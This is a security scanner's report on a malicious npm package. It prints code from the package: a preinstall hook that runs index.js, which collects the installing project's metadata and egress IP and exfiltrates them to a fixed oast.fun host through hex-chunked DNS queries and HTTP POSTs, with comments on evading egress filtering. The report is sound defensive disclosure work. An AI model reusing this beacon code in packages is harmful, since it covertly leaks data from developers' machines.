stillm4ddpocs-rtest-bravo@999.9.10: Malicious npm security report | LPM Firewall

Loading npm security reports…

stillm4ddpocs-rtest-bravo@999.9.10: Malicious npm security report | LPM Firewall

Source & flagged code

6 flagged · loading source

package.jsonView file

•scripts.preinstall = node index.js

High

Install Time Lifecycle Scripts

Package defines install-time lifecycle scripts.

package.jsonView on unpkg

10"scripts": { "preinstall": "node index.js" }

High

Ai Review Evidence

npm preinstall executes index.js automatically.

package.jsonView on unpkg · L10

index.jsView file

•Trigger-reachable fixed external POST callback chain: scripts.preinstall -> index.js const http = require("http"); const https = require("https"); const CALLBACK = "[redacted].oast.fun"; // because they fail in different situations: the HTTPS lookup gives this // host's egress address and needs outbound HTTP; the DNS lookup gives the const urls = ["https://api.ipify.org", "https://icanhazip.com", "https://ifconfig.me/ip"]; const req = https.get(url, { timeout: 2000 }, (res) => {

High

Trigger Reachable External Post Callback

A manifest entrypoint or package-local install chain reaches a fixed external POST callback.

index.jsView on unpkg

35if (String(process.env.npm[redacted]) === "true") return out; const root = process.env.INIT_CWD || process.cwd(); const manifest = path.join(root, "package.json"); if (!fs.existsSync(manifest)) return out; const pkg = JSON.parse(fs.readFileSync(manifest, "utf8")); out.name = pkg.name || "__unnamed"; if (pkg.author) out.author = typeof pkg.author === "string" ? pkg.author : pkg.author.name; if (pkg.repository) out.repository = typeof pkg.repository === "string" ? pkg.repository : pkg.repository.url; if (pkg.homepage) out.homepage = pkg.homepag

High

Ai Review Evidence

It reads the consuming project's manifest and collects identifying metadata.

index.jsView on unpkg · L35

146const hex = Buffer.from(body).toString("hex"); const chunks = hex.match(/.{1,60}/g) || []; dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {}); chunks.forEach((c, i) => { try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L146

154for (const [mod, port] of [[https, 443], [http, 80]]) { try { const req = mod.request({ hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`, method: "POST", timeout: 5000, headers: { "Content-Type": "application/json", "Content-Length": Buffer.byteLength(body), "X-Poc-Uuid": info.uuid } }); req.on("error", () => {}); req.on("timeout", () => { try { req.destroy(); } catch (e) {} }); req.write(body); req.end();

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L154

Lines 126-174javascript

126 poc: PACKAGE,

127 parent: parent.name,

128 author: parent.author || null,

129 repository: parent.repository || null,

130 homepage: parent.homepage || null

131 };

132}

133

134function beacon(info) {

135 const body = JSON.stringify(info);

136

137 // DNS first: it is the channel most likely to survive corporate egress

138 // filtering. Labels are capped at 63 characters, so the payload is chunked.

139 try {

140 // Hex, not base64. Resolvers randomise the capitalisation of query

141 // names as an anti-spoofing measure (DNS 0x20 encoding): DNS is

142 // case-insensitive and the response must echo the case back, which is

143 // cheap entropy against cache poisoning. It also destroys any

144 // case-sensitive encoding -- base64 chunks arrive intact but scrambled

145 // and the original case is unrecoverable. Hex has one case.

146 const hex = Buffer.from(body).toString("hex");

147 const chunks = hex.match(/.{1,60}/g) || [];

148 dns.resolve(`u-${info.uuid}.n-${chunks.length}.${CALLBACK}`, () => {});

149 chunks.forEach((c, i) => {

150 try { dns.resolve(`${i}-${c}.u-${info.uuid}.${CALLBACK}`, () => {}); } catch (e) {}

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L146

151 });

152 } catch (e) {}

153

154 for (const [mod, port] of [[https, 443], [http, 80]]) {

155 try {

156 const req = mod.request({

157 hostname: CALLBACK, port: port, path: `/poc/${info.uuid}`,

158 method: "POST", timeout: 5000,

159 headers: {

160 "Content-Type": "application/json",

161 "Content-Length": Buffer.byteLength(body),

162 "X-Poc-Uuid": info.uuid

163 }

164 });

165 req.on("error", () => {});

High

Ai Review Evidence

It hex-encodes the collected payload into DNS queries and also POSTs it to a fixed callback host.

index.jsView on unpkg · L154

166 req.on("timeout", () => { try { req.destroy(); } catch (e) {} });

167 req.write(body);

168 req.end();

169 } catch (e) {}

170 }

171}

172

173// Look both addresses up first, then send once. Each lookup is capped and

174// cannot fail; if neither answers, the beacon still goes out with nulls.